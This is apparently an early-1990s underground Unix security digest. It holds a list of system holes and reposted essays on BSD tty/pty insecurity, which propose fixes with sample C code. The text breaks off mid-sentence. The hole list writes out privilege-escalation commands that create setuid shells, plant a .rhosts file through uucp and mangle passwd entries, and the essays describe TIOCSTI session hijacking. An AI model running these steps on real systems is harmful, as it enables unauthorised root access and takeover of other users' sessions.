BoreD Security Digest Issue 4 Toooo sexy for CORE You're NOT dealing with AT&T!!! The unix BoreD security mailing list is by invitation only and contains sensitive material which SHOULD NOT BE REVEALED to non-members. DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS. If you must keep copies on-line, please encrypt them at the very least. PLEASE POST TO: infohax@stormking.com PLEASE SEND EMERGENCY ALERTS TO: infohax-emergency@stormking.com PLEASE SEND REQUESTS TO: infohax-request@stormking.com SPECIAL TTY/PTY ISSUE But, seriously. First things first. This newsletter does not condone any action that is illegal (much less immoral). What you do in your spare time is your business and not ours. Some of the material presented here mabye unsuitable for readers under the influence of SS control. However, this newsletter is too legit. Next, the editorship has been changed to a compile-revision-revision- release type format with one person doing each part (therefore in effect having four editors). This is not a sole -I am gh0d and you are n0t- type digest. The editorship is being shared. Third, this is the fourth issue. These issues come out due to member participation. So far we are doing great, 4 issues in 4 months. (well, not as good as the original 1 issue per 2 week target but it isn't bad). However, due to recent events, material has not flowed as clear as it should and we need your thoughts/ideas/submissions more than ever. This is a special TTY issue and more submissions for the next issue are needed. We hope to put out another TTY/PTY issue in the next couple of issues ahead so we need your tty/pty stuff! Do not ship these issues to any one of your friends. Do not keep copies online. Do not reveal the name of the project or any of its members. If you do know of a potential member name him in here first by contacting one of us. ----------------------------------------------------------------------------- -Table of Comments for Issue 4- 1. Prelude/Comments 2. Table of Contents 3. Holes List 2 ....................................(hole2.lst) 4. TTY Comments ....................................(tty.comments) 5 TTY Partial Article .............................(tty.article) 6. blast.c .........................................4.cb.15.00 7. bugntrig.c ......................................4.cb.15.01 8. readtty.c .......................................4.cb.15.02 9. stufftty.c ......................................4.cb.15.03 10. tty-spy1: cover.c ...............................4.cb.15.04 11. tty-spy2: assorted ..............................4.cb.15.05 ----------------------------------------------------------------------------- ============================================================================== hole.list.2 hole.list.01 02/23/92 ------------------------------------------------------------------------------ DATA: ========= GENERAL ========= 1. Do not allow usernames to contain any of the following characters ";~!`" (or any shell meta-charaters). This allows setuid root programs that popen to be spoofed. 2. Never allow a setuid to root program to send a mail message that the user creates to either the Berkeley mailer or mailx. All a user has to do to break root is to send a line such as: ~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell escape to be executed if the line starts in column one of stdout while entering the message text. 3. Most security holes in UNIX are related to incorrect setting of directory and file permissions or race conditions in the kernel that allow setuid programs to be exploited. All non-standard setuid programs should be examined. 4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can break security relatively easily. MIT's PROJECT ATHENA came up with Kerberos to address these problems, networks are usually very insecure. 5. The mount command should not be executeable by ordinary users. A setuid program on a mountable disk is NOT TO BE TRUSTED. 6. Systems that allow read-only mounting of foriegn disk are a security hole. Setuid programs are normally honored. This allows a person who has root access on a foriegn machine to break it on another. 7. Expreserve can be a huge hole (see the following) /dev/fb the frame buffer devices on at least suns are world readable/writeable, which is at best annoying (when someone runs something strange on you) and at worst insecure (since someone can take a snapshot of your screen via screenload or whatnot) /dev/*st*, *mt*, etc (tape devices) generally world readable/writeable, bad since others can nuke your tapes, read your backups, etc. chfn, chsh used to create a root account core will system dump a setgid core image? domain name system a sysadmin running the soa for a domain somewhere can create a bugs reverse address mapping table for one of his hosts that causes its IP address to have the domain name of a machine that my host has in its hosts.equiv file. if i'm using the usual version of 'istrusted' (I think that's the routine's name), the address lookup reveals the name of the host to be one that my host trusts, and this other sysadmin can rlogin into my machine or rsh or whatnot at will. fchown test for bad group test ftruncate can be used to change major/minor numbers on devices fingerd hard .plan links - reading unreadable files readable by user(fingerd) setuid, .plan links running as root (fingerd_test.sh) buffer overrun file mod test. test of file does not loose the setuid bit when modified ftp ftpd static passwd struct overwrite 4.2 based bug, userid not reset properly, (after logging in enter comment "user root" and you are, last seen onder SunOS 3.3?). overwrite stack somehow? hosts.equiv default + entry istrusted routine - easy to spoof by bad SOA at remote site with hacked reverse address map. lock 4.1bsd version had the password "hasta la vista" as a builtin trapdoor. (found in ultrix) lost+found, fsck lost+found should be mode 700, else others might see private files. lpd its possible to ovberwrite files with root authority with user level access locally or remotely if you have local root access lpr lpr -r access testing problem lprm trusts utmp passwd fgets use allows long entries which will be mangled into ::0:0::: entries also allows: fred:...:...:...:Fred ....Flintstone::/bin/sh => fred:...:...:...:Fred..... Flintstone::/bin/sh which is a root entry with no password! fix - should skip to eol if it didn't read whole entry, should enforce buffer limits on text in file, don't use atoi (since atoi(/bin/sh) is 0). portmap allows other net entities to make bindings - may not be a "security hole", can lead to denial of service. rcp nobody problem rexd existence rwall,comsat running as root, utmp world writeable, writes to files as well as devices in utmp dev fields. rdist - buffer overflow selection_svc allowed remote access to files sendmail debug option wizard mode TURN command allows mail to be stolen decode mail alias - anyone can send mail to decode, write to any file onwed by daemon, if they can connect to sendmail daemon, can write to any file owned by any user. overflow input buffer cause the sendmail deamon to lock up overwrite files sendmail can be "tricked" into delivering mail into any file but those own my root. -oQ (different Q) fixed in newer versions mqueue must not be mode 777! what uid does |program run with? sendmail -bt -C/usr/spool/mail/user - in old versions, allows you to see all lines of the file. setuid bit handling setuid/setgid bit should be dropped if a file is modified fix: kernel changes setuid scripts there are several problems with setuid scripts. is it worth writing tests for these? some systems might have fixed some of the holes - does anyone know how one fixes these problems in a proactive fashion? sh IFS hole (used with vi, anything else?) su overwrite stack somehow? tcp/ip sequence number prediction makes host spoofing easier source routing make host spoofing easier rip allows one to capture traffic more easily various icmp attacks possible (I suspect a traceroute'd kernel will allow one to easily dump packets onto the ethernet) tftp allows one to grab random files (eg, /etc/passwd). fix - should do a chroot allows puts as well as gets, no chroot fix - don't run as root, use chroot, no puts, only if boot server. utmp check to see if world writeable (if so, the data can't be trusted, although some programs are written as though they trust the data (comsat, rwalld)). uucp check if valid uucp accounts are in the /etc/ftpusers. If the shell is uucico and passwd is valid make sure it is listed in ftpusers. check to see that uucp accounts have shell: if left off, folks can do: cat >x myhost myname ^D uucp x ~uucp/.rhosts rsh myhost -l uucp sh -i HDB nostrangers shell escape HDB changing the owner of set uid/gid files HDB meta escapes on the X command line HDB ; breaks on the X line uudecode if it is setuid, some versions will create setuid files ypbind accepts ypset from anyone (can create own ypserv and data, and ypset to it...) ypserv spoofing send lots of bogus replies to a request for root's passwd entry, while doing something that would generate such a request [I'm pretty sure that this is possible, but haven't tried it.] AIX * password means use root's password? AIX 2.2.1 shadow password file (/etc/security/passwd) world writeable fix - chmod 600... 386i login fix - nuke logintool, hack on login with adb, chmod 2750 ultrix 3.0 login login -P progname allows one to run random programs as root. fix - chmod 2750. xhost: if access access control is disabled any one can connect to a X display it is possible and create (forge) and/or intercept keystrokes. ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== In the Crunch Act of 1992 the Supreme Court ruled that phones are against the law. Use a phone. Go to jail. That's the law. ============================================================================== tty.comments 4.ch.02.01 04/04/92 ------------------------------------------------------------------------------ DATA: BSD tty security, part 1: The Berkeley Experience Three weeks ago Keith Bostic gave me an account on vangogh.berkeley.edu, running one of the latest revisions of BSD 4.3-Reno, so that I could test the system for tty bugs. (What a remarkable coincidence. :-) ) I have bad news, good news, and a quick summary of what Berkeley is planning to do about tty security. The bad news: The system allows any user to take over a session started by script. Presumably this also applies to xterm, emacs, expect, et al. ``Take over'' means invisible writing, tty mode mangling, and TIOCSTI. Modulo some races, it lets any user output any number of characters at the beginning of another user's telnetd connection, and may allow more access (I haven't tested this thoroughly). Furthermore, it lets any user log any other user out, given preparation. There are several minor holes which should not be serious problems and which I won't describe here. The good news: BSD now has a revoke(filename) syscall which achieves similar effects to the enforce() that has been proposed here before; telnetd uses revoke() in a way that I believe guarantees the security of the tty. This does not stop I/O before the revoke(), but Marc Teitelbaum says (and I agree) that proper flushing and a bit more paranoia will completely shield login sessions from attack. Unfortunately, revoke() is not usable by unprivileged programs like script, so for most purposes ptys are as insecure as they were in BSD 4.2. Last-minute good news: Marc has found the bug that allowed the logout problem. He will fix it. What BSD plans to do in the future about tty security: Apparently 4.4 will have ``bstreams'', roughly equivalent to the other stream systems in the world. ptys will be re-implemented as bstreams, so they will (finally!) be dynamically allocatable. Hopefully everyone at Berkeley will agree that ptys do not belong in the filesystem; the ones who know this are working to convince those who aren't sure, or so I hear. Given this radical reorganization, it appears that BSD 4.4 ttys will be secure. If this is true, I withdraw my previous threat. (But see part 4 for further comments.) In the meantime (i.e., until someone gets up the courage to implement bstreams) I have outlined to Marc a reasonably simple plan for making ttys completely secure without radically changing the kernel or system applications. I hope he sees that the plan involves at most a couple of hours of work, so that with luck secure ttys will make it into the next interim BSD release. As my plan also applies to BSD 4.2 and 4.3 and popular systems derived from them, I have included it here as part 3. BSD tty security, part 2: The POSIX Perspective [Warning: By the end of part 1 you may have thought I was in a good mood. Sorry, but no more Mr. Nice Guy. I will return to sweetness, charm, and light in part 3.] One of the security holes mentioned in part 1 (any user being able to log any other user out) was a deeply buried bug in Berkeley's implementation of a new POSIX requirement. This is a good example of how additional security channels (viz., POSIX sessions) make the system much more fragile. One of the virtues of the original UNIX system was that all security went through a single channel, namely the uid. Why can't we stick to this model? Popular BSD-derived POSIX systems like Ultrix 4.1, SunOS 4.1, and Convex UNIX 9.0 are completely insecure: any user can take complete control of any other user's session, with no privileges, no warning, no visible effect if the attacker is careful, and no logs after the fact. I asked Marc Teitelbaum how POSIX (particularly POSIX sessions) helped tty security in the latest BSD 4.3. He pointed to revoke(), but revoke() only helps security because it is applied at the *beginning* of a session, and this is not required or even hinted at by POSIX. He couldn't find another answer. I can still take full control of any session begun by script or screen or emacs or expect. As those of you involved with POSIX know, any process can send SIGCONT to any other process in the same session, dodging all the restrictions of normal security and job control. Believe it or not, SIGSTOP and SIGCONT used to be a valuable synchronization technique, even for privileged applications. Now they're useless. This can only be regarded as a security hole. Is it unreasonable to conclude that POSIX sessions do not help security? That, in fact, they hurt security, by forcing changes upon a quite fragile piece of the system? It gets worse. In comp.unix.* we've seen repeated complaints that POSIX breaks popular applications. No, I'm not even talking about pty. I'm talking about screen, and expect, and emacs. These programs want to control children running under a different terminal, but POSIX simply doesn't acknowledge that people *want* cross-session job control. It invented ``orphaned process groups''---yet another ``standard'' which has never shown benefits and which breaks applications left and right. Is it unreasonable to conclude that POSIX sessions are a problem? I keep asking people what POSIX sessions do for users, or programmers, or administrators, or system implementors. Nobody comes up with an answer. ``They were meant to make job control secure,'' people say. So why tf are they required even on systems not supporting the job control option? After all this I'm not even going to say POSIX sessions should be abolished. All I want is for them to be made optional, like job control. It really wouldn't be difficult---just change a couple of definitions and put the equivalent of #ifdef SESSION around the dozens of additional rules invented for POSIX sessions. Is this such a price to pay for backward compatibility, extra security, and the chance to make POSIX improve over the years as people figure out simpler job control models? And doesn't it make sense that inventions in a standard should be optional to begin with? Let me close these comments with a personal remark: The next time I report tty security holes to a vendor, if I hear ``We've fixed that, we support POSIX,'' I'm probably going to do something violent. Maybe it'll just be a symbolic burning of the latest POSIX 1003.1 in the middle of Central Park, but I know it's gonna be violent. :-) BSD tty security, part 3: How to Fix It Here's one way to fix the BSD 4.[234] tty system, i.e., to provide some strong guarantees that pty and tty sessions are safe and not subject to corruption or denial of service, with minimal changes to the kernel and to application programs. This is also meant to apply to systems derived from BSD, such as SunOS, Ultrix, etc. I've included quite a bit of sample code here, as well as evaluations of what effect these changes will have on users and old programs. Thanks in particular to Marc Teitelbaum for his extensive comments. The second half of the article includes a bunch of optional recommendations that may make your life easier but are not necessary for security. Quick summary of kernel changes required: Make /dev/tty ioctls work on /dev/tty??, make a /dev/stdtty driver which simply dup()s fd 3, and add an ioctl, TIOCOPENCT, which returns the number of active references to a given inode. That's it. Quick summary of application changes required: Have certain programs do an extra open() of the slave side to fd 3, move two device drivers, add about fifteen lines of code (forty with complete error checks) to those programs, add a new uid and group, make /dev/[pt]ty* world-inaccessible, change chmod()s in those programs so that /dev/[pt]ty* remain world-inaccessible, and make various programs setuid or setgid. That's it. 1. Make all /dev/tty-specific ioctls work upon /dev/tty??. If the only such ioctl is TIOCNOTTY, this is not necessary unless you want to preserve the programmer's interface to detachment (which is probably necessary). This may take some work. This step is safe, in that it will not break working code. 2. Set up a /dev/stdtty driver that dup()s fd 3. This is tedious but not difficult in principle. On systems with /dev/fd/3, all you have to do is ln /dev/fd/3 /dev/stdtty. This step is safe. 3. Add an ioctl---I propose ioctl(fd,TIOCOPENCT,&x)---which *reliably* sets x to the number of references to the *file* (not open file: I mean file on disk, i.e., dev/inode pair, i.e., [igv]node) given by fd, or -1 if fd is not a disk file. Here ``reference'' means open file (i.e., the thing in the file table). Under NFS I believe it is sufficient to report v->v_count of the vnode. ``Reliably'' means that no matter what is going on---swapped processes, locks of all sorts on the inode, file descriptor passing, opening and closing---the returned information will be absolutely correct starting from when ioctl() finishes and continuing as long as no process opens or closes the file in question. This step is safe. 4. Make sure that each of the tty-handling programs---getty, telnetd, rlogind, script, etc.---opens /dev/ttyxx again in the master process and leaves it open for use in #9 below. ``Master process'' means the process in charge of the master side of the pty---telnetd, for instance. This is easy: int fdttyagain; /* global variable */ ... /* in the parent right after fork */ fdttyagain = open(line,O_RDWR); if (fdttyagain == -1) syslog(LOG_CRIT,"cannot open %s again: %m",line); /* or whatever your favorite error reporting method is */ This step is safe. 5. Make a new uid, pty. Make each of the non-root tty-handling programs (that means script, as well as programs like atty, mtty, pty, etc. if you have them installed) setuid pty, and make sure they reset uids before executing anything. Do not make pty the same as root, unless your system handles MAXUPRC by effective userid (ugh)---in that case you can't safely run anything setuid to any user but root, and you should complain to your vendor. (The latter is true under, e.g. Ultrix 3.1.) This step is safe, but will take some work if you have many non-root tty-handling programs. 6. Change the root tty-handling programs (e.g., telnetd) so that they reset ttys to owner pty mode 600 rather than owner root mode 666. This step will break any user programs that allocate ttys dynamically and that you didn't take care of in #5. It is safe otherwise. 7. Have each of the tty-handling programs---getty, telnetd, rlogind, script, etc.---open file descriptor 3 to the tty. This is trivial: { /* after closing other descriptors, right before exec'ing the slave */ int fdtty; fdtty = open(line,O_RDWR); /* line is, e.g., "/dev/ttyp7" */ if (fdtty == -1) ; /* XXX: complain to the user, or exit */ else if (fdtty != 3) { if (dup2(fdtty,3) == -1) ; /* XXX: complain to the user, or exit */ close(fdtty); } } This step will break any old code that assumes the first open() will return 3. (Such code is disgusting, but this is beside the point.) 8. ln /dev/tty /dev/oldtty; rm /dev/tty; ln /dev/stdtty /dev/tty; chmod 600 /dev/oldtty. This is the first change that will affect users directly. However, if you have done steps 1, 2, and 7 correctly, nobody will notice. Marc comments that any programs which redirect or close fd 3 will be affected if they later use /dev/tty; he couldn't think offhand of any such programs except ksh, which isn't installed on most BSD machines. If you do find further examples of such programs or scripts, please post the fixes here. An alternative is to use fd 11 instead of fd 3 throughout these changes; this won't help ksh, but I've never seen a script use fd 11. 9. In each of the tty-handling programs, do the following upon slave exit: (a) Clean up everything except (if it is convenient) [uw]tmp. Close 0, 1, 2, and any other random descriptors lying around, except /dev/ptyxx and /dev/ttyxx. (b) Test /dev/ttyxx with TIOCOPEN*. If someone else still has it open, continue to step (c); otherwise skip to step (d). (c) Fork, and exit in the parent. Repeatedly test /dev/ttyxx (a five-second sleep is fine) until it is closed. (d) Clean up [uw]tmp and exit. Note that steps (b) and (c) can fit into a simple library routine. Here's sample code, with paranoid error checking: /* after cleaning up mostly everything */ if (fdttyagain != -1) { /* Assumption: /dev/ttyxx is back to mode 600 owner pty. */ int count; close(0); close(1); close(2); ... /* close any other descriptors previously opened */ /* _except_ /dev/ptyxx (``fdpty'', perhaps) and fdttyagain */ (void) ioctl(fdttyagain,TIOCEXCL,(char *) 0); /* entirely optional, but better safe than racing */ /* if TIOCOPENCT is not completely reliable */ if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1) syslog(LOG_CRIT,"cannot count open references to %s: %m",line); /* or whatever your favorite error reporting method is */ else if (count > 1) { syslog(LOG_INFO,"waiting on %s",line); switch(fork()) { case -1: syslog(LOG_CRIT,"cannot fork to wait on %s: %m",line); break; case 0: { int i; i = 0; for (;;) { sleep(5); if (ioctl(fdttyagain,TIOCOPENCT,&count) == -1) syslog(LOG_CRIT,"weird: cannot count open references to %s: %m",line); else if (count == 1) break; ++i; if (!(i % 1000)) syslog(LOG_INFO,"waited %d secs on %s",i * 5,line); /* XXX: If i gets large enough, you may want to take */ /* desperate measures at this point. Example: */ /* vhangup(); fcntl(fdpty,F_SETFL,FNDELAY); */ /* vhangup(); write(fdpty,"x",1); vhangup(); */ /* read(fdpty,"y",1); vhangup(); */ /* And then break. */ } } syslog(LOG_INFO,"done waiting on %s",line); break; default: exit(0); } } /* now finish cleaning up everything, and exit */ } It doesn't really matter where the above code comes inside a cleanup routine, as long as the tty already has the right modes. I think it's aesthetically better to leave the utmp entry alone until the tty is deallocated; but if this isn't convenient for some program, feel free to ignore aesthetics and put the code right before exit(). Marc notes that this change will leave a pseudo-tty allocated to a user as long as the user has a background process on the tty. Religious types will say ``yes, that's how it should be.'' I say that at sites I'm familiar with, this isn't a problem, because users don't run very many background jobs, and there are more than enough pseudo-ttys. If this is a problem for you, you will have to do step #20 below and educate your users to detach background jobs, meanwhile killing any runaways. Sorry, but this is the price you pay for security. You may prefer the ``desperate measures'' mentioned in the sample code to simply cut off tty access after a few hours; any use of vhangup() is chock-full of race conditions, but it would be exceedingly difficult for a process to make it past all the races. 10. chown pty /dev/[pt]ty*; chmod 600 /dev/[pt]ty*. This is the big step. Nonprivileged programs will no longer be able to open any ttys or ptys, so nobody can deny service to other users without executing a privileged program that will later show up in acct. Furthermore, the TIOCOPENCT code guarantees that if a tty-handling program exits, absolutely nobody is using that tty, so it is safe for immediate use by the next tty-handling program. This throws a huge wrench into all the fundamental tty security holes I know. 11. If you're using a Sun, make sure to chmod 600 /etc/utmp, or these changes will go to waste. You may find it convenient to make certain programs setgid or setuid here so that they can still write utmp, though I consider this a mistake---you are bound to slip up when a hundred different tools all manage one supposedly secure file. (But anything is better than what Sun currently ships.) 12. Support the BSD 4.3 tty group model: make a new group, tty, chgrp all /dev/tty* to it, and make ``talk'' and ``write'' setgid tty. Of course, you don't need to do this if you already have the tty group. It's possible to accomplish similar results with fewer changes. In fact, my next version of pty will almost guarantee safety on stock BSD 4.2 systems with no kernel support except read access to /dev/kmem. (It is, unfortunately, not possible to avoid race conditions from user code.) You can, for example, place the burden of TIOCOPENCT checking upon the program opening the tty, rather than the program closing it, so that it's not a problem if one tty handler fails to do its job; but this increases turnaround time for the users and allows denial-of-service attacks. The above changes should be straightforward enough that halfway solutions are not worthwhile. (POSIX fans will note that using TIOCOPENCT to keep the tty allocated past session leader exit *is* compliant: it only affects the secure BSD exclusive lock on the master side, and does not prevent reassignment of the slave tty to a new session---not that such a reassignment will ever occur.) Why must tty-handling programs be setuid rather than setgid? Because the user must not be allowed to kill them---he would be able to retain tty access that way. There are many further changes you can make to eliminate minor security holes or improve accounting. EVERYTHING BELOW THIS POINT IS COMPLETELY OPTIONAL. Here are some of the most important: 13. Fix write. Many people don't appreciate how poor write's security is; I quote from my pty paper's description of a write clone: : Finally, write is a vastly improved clone. The old write had several big : security holes: 1. Control characters were passed through. This version : converts anything unprintable into a caret. 2. Lines were not : distinctively marked. A user could manually simulate the ``EOT'' or : ``EOF'' sequence, wait a few minutes, then start sending anything to the : other tty without identification. This version precedes each line with : the name of the sending user, and prints something more informative than : EOT for an ended message. 3. write could be used to flood a terminal. : (This is an accident waiting to happen.) This version puts a one-second : pause between each line and restricts line length. 4. Originally, write : would only check the protection on the tty being written to. But this : meant that a user could be interrupted by someone hiding behind mesg n : and have no recourse. (Footnote: Remember that UNIX has no enforce() : call to enforce new permissions on an object. Setting mesg n does not : stop a write in progress.) So many versions of write included : ``revenge'': X was allowed to write to Y only if Y could write back. : However, these versions tested tty protection only at the beginning of a : message---which was useless. This version does the correct test: it : simply checks write permission before sending each new line. My write clone is public-domain, so I invite you---I beg you---to steal code from it. Don't even give me any credit, just fix the bugs. Please. 14. Make script grok utmp and wtmp. (You may have to rethink certain wtmp-based accounting schemes to do this.) Users constantly complain that they can't ``talk'' within script, and the lack of accounting is annoying. This doesn't matter under #18. 15. Change the chown() and fchown() system calls so that files can be chowned between uid and euid. This opens up chown() for lots of secure services without forcing the servers to run as root. In this case, it lets script change the tty owner properly. This doesn't matter, though, if you implement #16. 16. Don't even bother chowning ttys to the users who own them. (At this point they might as well not be in the filesystem.) Yes, you can make biff and mesg setuid pty, and no, nothing breaks except nroff's mesg n. 17. Make sure that telnetd, rlogind, etc. leave ttys with messages *off* by default. Since UNIX has no way to enforce new access permissions on a file, the usual default leaves all users open to instant attack. This is a huge problem in the real world (at universities, at least), and while there may be a sane argument for having messages on by default, it cannot justify what amounts to unrestricted output to any and all ttys. Finally, here are some optional changes that will make the above changes much easier, or that will add basic features to your system. Do them first and you'll never regret it. 18. Provide a program that spawns another program under a pseudo-tty, handling I/O and job control transparently, and obeying all the rules for tty handlers mentioned above. In fact, the program already exists by the name of ``pty'' (see, e.g., comp.sources.unix volume 23), and its author is quite willing to negotiate distribution terms. pty also supports session management. (Isn't it embarrassing to explain UNIX to a long-time VMS user? ``No, sorry, Bob, you can't get back to that shell after your modem went on the fritz. The shell is gone.'' ``vi -r? Oh, yeah, Bob, that means your connection got hung up.'' ``Nope, sorry, Bob, you can't start recording a `talk' session without hanging up and talking again.'' ``No, Bob. This is not VMS. Your process is stuck to that terminal, right there. Yes, I understand, the terminal screen just exploded, and you can't see your output. No, you cannot move to the next terminal and continue work. Sorry, Bob, you're out of luck. Bye, Bob.'') 19. Rewrite all other tty handlers (it's easy---trust me) to invoke that single, modular program. Don't you find it strange that a dozen programs all have the same pty allocation code? Don't you find it unreasonable, at least from a ``software engineering'' standpoint, that since people are too lazy to do (e.g.) random tty searching every time they recopy the same code, your average tty handler wastes several dozen open()s on a big machine when it could use just two? In fact, I'll be glad to do all the work of conversion for you, provided that you agree to make the final version available for people to use. 20. Provide a program that detaches from its controlling tty and spawns another program. The program is usually called ``detach'' and has no options of note. It should also seek out and reopen("/dev/null") any file descriptors pointing to any tty. 21. Delete /dev/oldtty and remove the /dev/tty driver from your kernel. Also remove controlling ttys entirely. Also remove POSIX sessions if you have them: make setsid() a no-op, and return an implementation-defined error upon the pointless POSIX SIGCONT special case, and you even retain POSIX compatibility if you had it. (Well, with one exception: POSIX defines a foreground process in terms of its controlling terminal, rather than the terminal it's trying to access as in BSD. Beg the POSIX folks to make this rule optional---what do they lose?) Notice how much extra space users get for running programs. 22. Make a stdio stream for stdtty, descriptor 3---after all, programs do want to use it. Change csh and more to read from stdtty rather than stderr. Someday you may even be able to open stderr write-only [gasp!]. 23. Have accounting record the dev/inode pair on descriptor 3. In fact, while you're making accounting work sensibly, record the pid, as well as the dev/inode pair of the program run (if you can get that information). 24. Change getty to spawn the pty-handling program, and to disconnect that session when it receives BREAK. Guess what? You've just set up a trusted path. Most of the recommendations here come from my pty paper, various drafts of which have been available for many months. (TIOCOPEN* is new.) The basic ideas come from Bellovin's ``Session Tty'' paper, which has been available for years. If you get through all of the above and still want to improve the tty system, you might get some further ideas out of those papers. See pub/hier/pty/paper.9 on stealth.acf.nyu.edu and its references for details. BSD tty security, part 4: What You Can Look Forward To To close this series of postings, I'd like to briefly survey the state of tty security. I'm sorry I haven't been able to respond personally or quickly to everyone's mail on this issue. Just a few years ago I was exploring the depths of an old Ultrix system. It didn't take a genius to notice the occasional background jobs gone astray---obviously any user could affect any other user's tty, despite vhangup(). Soon I had ``blip'', a reasonably powerful tty mode mangler that could act both as a concise stty and as a tty security breaker. With it I could write arbitrary text to anyone's tty, TIOCSTI terminal input, change tty mode settings, send tty signals, and so on. So I sent copies of the code and documentation to the sysadmin at that site, and posted a 300-line analysis to comp.unix.wizards. As I recall, there were three responses. One asked what I was talking about. One was from the admin describing what I now know to be only a partial fix. One was from Steve Bellovin referring me to his then-new Session Tty paper for descriptions of a few of the bugs as well as a complete (but complex) fix for System V which, to my knowledge, has never been implemented. blip still works on every BSD UNIX machine I can find. It is trivial to adapt to POSIX. And it has, unfortunately, been spreading slowly around the net under the name of ``factor.'' That's right. Every available BSD UNIX machine allows any user to write or type arbitrary characters on the tty of another user. With good timing the attacker can even make his attack invisible---the moment a sysadmin types a root command, someone could be piggybacking a command like cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh. And it gets worse. How many people know how to exploit these bugs? Far too many, I'm sure, but not enough to shock other admins into seeing the magnitude of this problem. And this pales beside the examples set by vendors. I tell Sun how insecure ttys are, and offer a bandaid: Sun tells me that POSIX fixes everything, and refuses to admit that a bandaid is necessary. Convex is finally waking up, but is still under the delusion that one kernel kludge after another (from vhangup() to POSIX sessions and beyond) will solve the fundamental problems of statically allocated, world-usable ttys. Berkeley is finally showing some interest in fixing the bugs, but it will be years before vendors have picked up the changes, and several years before the average machine on the net is safe. Sorry, but I'm not going to wait that long. I am sick of constantly wondering whether my users know enough to break security. I am sick of hearing that POSIX fixes the problems. I am sick of seeing vendors blind themselves to such a fundamental set of holes. You should be sick of it too. So here's what I'm doing about it. 1. In part 3 of this series I outlined a reasonably simple set of fixes. If you have a BSD-derived system where something in the plan doesn't work, please post your comments here and we'll see what has to be done. If you don't have source, and you want to be notified as soon as binary patches are available, tell CERT your hardware type and OS version at cert@cert.sei.cmu.edu. 2. I will dedicate some of my free time to working with vendors and established authorities like CERT interested in tightening up tty security. 3. So that programmers are insulated from these changes in the pty subsystem, I commit myself to porting my pty manager to any platform I have access to. 4. I will attempt to outline a minimal set of (optional) changes to the POSIX standard to keep the standard from interfering with tty security. I would be interested in hearing from POSIX committee members interested in helping with this. 5. On or around October 29, 1992, I will publish a set of tiger programs that test for and exploit the failures in BSD tty security that I have described. 6. I will give further details on the security holes to anyone who convinces me that he has a legitimate interest. That means I want a verifiable chain of people and phone numbers from the contact for a major network down to whoever wants the information, plus a better excuse than ``I haven't read Bellovin's paper or your paper yet.'' If you simply want someone other than me to tell you that the holes exist, ask bostic@okeeffe.berkeley.edu. (That's Keith Bostic, the guy in charge of BSD; don't be surprised if he doesn't get to your message immediately.) Please don't believe vendor assurances that the holes have been fixed---they haven't. I hope I've yelled enough about these bugs now. I hope that soon there won't be anything to yell about. ------------------------------------------------------------------------------ Comments: Q's: Biblio: series of postings off UseNet CrossRef: Code/shRef: ============================================================================== `Sex' is not the question. `Sex' is the answer. `Yes' is the question. ============================================================================== TTY article 4.ch.03.01 05/03/92 ------------------------------------------------------------------------------ DATA: 5. Some tty security holes In this section we describe some of the most important security holes related to ttys. There are two types of ttys. Hardwired ttys, such as /dev/console, are connected directly to lines outside the computer. Pseudo-ttys (ptys), such as /dev/ttyp3, have device drivers that present a similar interface, but any output to /dev/ttyp0 is presented as input to a ``master'' side /dev/ptyp3, and vice versa. /dev/ttyp0 is called the ``slave'' side of the pseudo-tty. Note that ptys are implemented very differently in non-BSD systems. Many tty security holes relate to the protection of ttys within the filesystem. A tty is owned by the user whose shell is running under it. This mistake is a SCINUP (footnote: Security Compromise Introduced in the Name of User Power) that gives users many opportunities to make mistakes. Its apparent advantage is that the user can open the tty from other terminals; but this can be better done in other ways, and doesn't outweigh the potential problem of a user changing his tty to world-readable and world-writable. The simplest form of user-to-user communication used to be (and still is) the ``write'' program. One user would set the world-write bit on his tty; another user would use ``write'' to send messages to the tty. Unfortunately, this was also a huge hole: other users could just as easily send unidentified mounds of trash onto the tty, or even apply ioctls. (stty intr ' ' > /dev/ttyxx.) This bug was ``fixed'' in BSD 4.3, and independently in certain other systems. BSD 4.3 introduced a ``tty group,'' group 4. All ttys were set to group tty. write and other communications programs were made setgid tty. Finally, users would set the group-write bit rather than the world-write bit to allow communications. These changes still leave many holes open. The default state of a tty is still ``messages on,'' so inexperienced users cannot prevent others from bothering them. Arbitrary, perhaps damaging text can still be sent through the talk and comsat daemons. The write program itself is still a fruitful source of bugs, as described in a later section; in particular, some versions pass descriptors for the other terminal through to a ! command. This leaves no protection at all. The reader may wonder whether write access is so bad---the worst that a program could do is set the terminal modes strangely. However, changing the terminal's process group can destroy process control; setting flow control and flushing output strategically can prevent detection; and many (real) terminals accept a ``playback'' command that feeds stored sequences back into the computer. Furthermore, if there is a way to open a tty for writing, then there is a way to open that tty for reading: if a detached process opens a tty in any way, it will gain that tty as its control terminal, and can then reopen it for reading. This means that it can use the TIOCSTI ioctl to simulate terminal input. (This is another example of the problems caused by the concept of a ``control terminal.'' TIOCSTI is not inherently bad: although it really should insert characters at the *front* of the queue, and although it can interfere with typed input if there's no careful synchronization, TIOCSTI can be used very effectively. Eliminating it, as has been done in several BSD-derived systems, is a poor solution.) A quite different class of filesystem tty bugs comes from this problem: Unused pseudo-ttys are mode 666, i.e., readable and writable by anyone. This is a SCINUP. ``User programs want to run other programs under ptys, so the ptys have to be unprotected for arbitrary programs to use them.'' Unfortunately, a program can access the slave side, then wait for a program to start using the tty, then suddenly jump in and take control. (Footnote: POSIX sessions offer no protection against this. As the POSIX Rationale, B.7.1.1.4, states: ``A process accessing a terminal that is not its controlling terminal is effectively treated the same as a member of the foreground process group. While this may seem unintuitive, note that these controls are for the purpose of job control, not security, and job control relates only to a process's controlling terminal. *Normal file access permissions handle security*'' (italics added). Apparently this has been removed from the POSIX.1-1990 rationale; this author finds it disturbing that the POSIX committee no longer thinks normal file access permissions should handle security.) A particularly nasty application of this hole is to have a program keep TIOCSTI'ing ^C's into /dev/ttyp0; telnetd (and almost every other program with the usual pty allocation code) will find /dev/ttyp0 open before looking at any other tty, so login be killed instantly. In combination with other bugs, this can force the sysadmin to shut off power to the machine, without so much as an accounting trace afterwards. Another application is a simple Trojan horse, which popular myth says is impossible for network logins if the attacker doesn't have root privilege. (Details of this attack are left to 